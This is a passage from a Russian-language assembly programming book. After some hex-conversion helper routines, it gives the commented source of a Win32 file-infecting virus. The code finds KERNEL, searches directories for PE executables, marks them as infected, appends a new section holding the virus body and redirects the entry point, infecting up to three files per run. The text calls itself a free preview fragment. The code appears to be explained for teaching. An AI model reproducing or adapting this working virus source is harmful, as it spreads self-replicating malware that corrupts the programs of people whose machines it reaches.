;по адресу ES:EDI
   HexWrite8 proc
   ;Разделяем байт на полубайты и загружаем их в регистры AH и AL
   mov ah,al
   and al,0Fh
   shr ah,4
   ;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
   ;соответствующих символов ASCII. Если число,
   ;записанное в полубайте, было больше 9,
   ;то значение в этом полубайте надо еще корректировать
   or ax,3030h
   ;Меняем полубайты местами, чтобы регистр AH содержал младший
   ;полубайт, а регистр AL – старший
   xchg al,ah
   ;Проверим, надо ли корректировать младший полубайт,
   ;если да – корректируем
   cmp ah, 39h
   ja @@4
   ;Проверим, надо ли корректировать старший полубайт,
   ;если да – корректируем
   @@1:
   cmp al,39h
   ja @@3
   ;Сохраним значение по адресу ES:EDI
   @@2:
   stosw
   ret
   ;Корректируем значение старшего полубайта
   @@3:
   sub al, 30h
   add al, ”A”–10
   jmp @@2
   ;Корректируем значение младшего полубайта
   @@4:
   sub ah, 30h
   add ah, ”A”–10
   jmp @@1
   HexWrite8 endp
   ;Процедура перевода слова в ASCII−формат для печати.
   ;Значение, находящееся в регистре AX, будет записано
   ;в ASCII−формате по адресу ES:EDI
   HexWrite16 proc
   ;Сохраним младший байт из стека
   push ax
   ;Загрузим старший байт в регистр AL
   xchg al,ah
   ;Переведем старший байт в ASCII−формат
   call HexWrite8
   ;Восстановим младший байт из стека
   pop ax
   ;Переведем младший байт в ASCII−формат
   call HexWrite8
   ret
   HexWrite16 endp
   ;Процедура перевода двойного слова в ASCII−формат для печати.
   ;Значение, находящееся в регистре EAX, будет записано
   ;в ASCII−формате по адресу ES:EDI
   HexWrite32 proc
   ;Сохраним младшее слово из стека
   push eax
   ;Загрузим старшее слово в регистр AX
   shr eax, 16
   ;Переведем старшее слово в ASCII−формат
   call HexWrite16
   ;Восстановим младшее слово из стека
   pop eax
   ;Переведем младшее слово в ASCII−формат
   call HexWrite16
   ret
   HexWrite32 endp
   ;Сделаем процедуру WndProc доступной извне
   public WndProc
   ends
   ;Здесь начинается код вируса. Этот код переписывается из файла
   ;в файл. Все вышеописанное – всего лишь программа−носитель
   vladseg segment para public ”vlad”
   assume cs:vladseg
   vstart:
   ;Вычислим текущий адрес
   call recalc
   recalc:
   pop ebp
   mov eax,ebp
   db 2Dh ;Код команды SUB AX
   subme dd 30000h+(recalc−vstart)
   ;Сохраним адрес в стеке
   push eax
   ;Вычислим стартовый адрес вирусного кода
   sub ebp,offset recalc
   ;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
   mov eax,[ebp+offset kern2]
   ;Проверим ключ. Если ключа нет, перейдем к точке 1
   cmp dword ptr [eax],5350FC9Ch
   jnz notkern2
   ;KERNEL найден, точка 2
   mov eax,[ebp+offset kern2]
   jmp movit
   ;Точка 2 не подошла, проверим точку 1
   notkern2:
   ;Возьмем адрес первой известной нам точки KERNEL
   mov eax,[ebp+offset kern1]
   ;Проверим ключ, если ключа нет – выходим
   cmp dword ptr [eax],5350FC9Ch
   jnz nopayload
   ;KERNEL найден, точка 1
   mov eax,[ebp+offset kern1]
   ;KERNEL найден, адрес точки входа находится в регистре EAX
   movit:
   ;Сохраним адрес KERNEL
   mov [ebp+offset kern],eax
   cld
   ;Запомним текущую директорию
   lea eax,[ebp+offset orgdir]
   push eax
   push 255
   call GetCurDir
   ;Инициализируем счетчик заражений
   mov byte ptr [ebp+offset countinfect],0
   ;Ищем первый файл
   infectdir:
   lea eax,[ebp+offset win32_data_thang]
   push eax
   lea eax,[ebp+offset fname]
   push eax
   call FindFile
   ;Сохраним индекс для поиска
   mov dword ptr [ebp+offset searchhandle],eax
   ;Проверим, найден ли файл. Если файл не найден,
   ;меняем директорию
   cmp eax,–1
   jz foundnothing
   ;Откроем файл для чтения и записи
   gofile:
   push 0
   push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
   push 3 ;OPEN_EXISTING
   push 0
   push 0
   push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
   lea eax,[ebp+offset fullname]
   push eax
   call CreateFile
   ;Сохраним описатель файла
   mov dword ptr [ebp+offset ahand],eax
   ;Проверим, не произошла ли ошибка.
   ;Если ошибка произошла, ищем следующий файл
   cmp eax,–1
   jz findnextone
   ;Поставим указатель позиции чтения/записи на поле
   ;со смещением PE−заголовка
   push 0
   push 0
   push 3Ch
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Считаем адрес PE−заголовка
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push 4
   lea eax,[ebp+offset peheaderoffset]
   push eax
   push dword ptr [ebp+offset ahand]
   call ReadFile
   ;Поставим указатель позиции чтения/записи на начало PE−заголовка
   push 0
   push 0
   push dword ptr [ebp+offset peheaderoffset]
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Считаем число байт, достаточное для вычисления полного размера
   ;PE−заголовка и таблицы объектов
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push 58h
   lea eax,[ebp+offset peheader]
   push eax
   push dword ptr [ebp+offset ahand]
   call ReadFile
   ;Проверим сигнатуру. Если ее нет, закрываем
   ;этот файл и ищем следующий
   cmp dword ptr [ebp+offset peheader],00004550h;
   jnz notape
   ;Проверим файл на зараженность. Если файл заражен,
   ;то закрываем этот файл и ищем следующий
   cmp word ptr [ebp+offset peheader+4ch],0F00Dh
   jz notape
   cmp dword ptr [ebp+offset 52],4000000h
   jz notape
   ;Поставим указатель позиции чтения/записи на начало PE−заголовка
   push 0
   push 0
   push dword ptr [ebp+offset peheaderoffset]
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Считаем весь PE−заголовок и таблицу объектов
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push dword ptr [ebp+offset headersize]
   lea eax,[ebp+offset peheader]
   push eax
   push dword ptr [ebp+offset ahand]
   call ReadFile
   ;Установим признак заражения
   mov word ptr [ebp+offset peheader+4ch],0F00Dh
   ;Найдем смещение таблицы объектов
   xor eax,eax
   mov ax, word ptr [ebp+offset NtHeaderSize]
   add eax,18h
   mov dword ptr [ebp+offset ObjectTableoffset],eax
   ;Вычислим смещение последнего (null) объекта в таблице объектов
   mov esi,dword ptr [ebp+offset ObjectTableoffset]
   lea eax,[ebp+offset peheader]
   add esi,eax
   xor eax,eax
   mov ax,[ebp+offset numObj]
   mov ecx,40
   xor edx,edx
   mul ecx
   add esi,eax
   ;Увеличим число объектов на 1
   inc word ptr [ebp+offset numObj]
   lea edi,[ebp+offset newobject]
   xchg edi,esi
   ;Вычислим относительный виртуальный адрес (Relative Virtual Address
   ;или RVA) нового объекта
   mov eax,[edi−5*8+8]
   add eax,[edi−5*8+12]
   mov ecx,dword ptr [ebp+offset objalign]
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset RVA],eax
   ;Вычислим физический размер нового объекта
   mov ecx,dword ptr [ebp+offset filealign]
   mov eax,vend−vstart
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset physicalsize],eax
   ;Вычислим виртуальный размер нового объекта
   mov ecx,dword ptr [ebp+offset objalign]
   mov eax,vend–vstart+1000h
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset virtualsize],eax
   ;Вычислим физическое смещение нового объекта
   mov eax,[edi−5*8+20]
   add eax,[edi−5*8+16]
   mov ecx,dword ptr [ebp+offset filealign]
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset physicaloffset],eax
   ;Обновим размер образа (размер в памяти) файла
   mov eax,vend−vstart+1000h
   add eax,dword ptr [ebp+offset imagesize]
   mov ecx,[ebp+offset objalign]
   xor edx,edx
   div ecx
   inc eax
   mul ecx
   mov dword ptr [ebp+offset imagesize],eax
   ;Скопируем новый объект в таблицу объектов
   mov ecx,10
   rep movsd
   ;Вычислим точку входа RVA
   mov eax,dword ptr [ebp+offset RVA]
   mov ebx,dword ptr [ebp+offset entrypointRVA]
   mov dword ptr [ebp+offset entrypointRVA],eax
   sub eax,ebx
   add eax,5
   ;Установим значение, необходимое для возврата в носитель
   mov dword ptr [ebp+offset subme],eax
   ;Поставим указатель позиции чтения/записи на начало PE−заголовка
   push 0
   push 0
   push dword ptr [ebp+offset peheaderoffset]
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Запишем PE−заголовок и таблицу объектов в файл
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push dword ptr [ebp+offset headersize]
   lea eax,[ebp+offset peheader]
   push eax
   push dword ptr [ebp+offset ahand]
   call WriteFile
   ;Увеличим счетчик заражений
   inc byte ptr [ebp+offset countinfect]
   ;Поставим указатель позиции чтения/записи
   ;по физическому смещению нового объекта
   push 0
   push 0
   push dword ptr [ebp+offset physicaloffset]
   push dword ptr [ebp+offset ahand]
   call SetFilePointer
   ;Запишем тело вируса в новый объект
   push 0
   lea eax,[ebp+offset bytesread]
   push eax
   push vend−vstart
   lea eax,[ebp+offset vstart]
   push eax
   push dword ptr [ebp+offset ahand]
   call WriteFile
   ;Закроем файл
   notape:
   push dword ptr [ebp+offset ahand]
   call CloseFile
   ;Переход к следующему файлу
   findnextone:
   ;Проверим, сколько файлов заразили: если 3,
   ;то выходим, если меньше – ищем следующий
   cmp byte ptr [ebp+offset countinfect],3
   jz outty
   ;Ищем следующий файл
   lea eax,[ebp+offset win32_data_thang]
   push eax
   push dword ptr [ebp+offset searchhandle]
   call FindNext
   ;Если файл найден, переходим к заражению
   or eax,eax
   jnz gofile
   ;Сюда попадаем, если файл не найден
   foundnothing:
   
Конец бесплатного ознакомительного фрагмента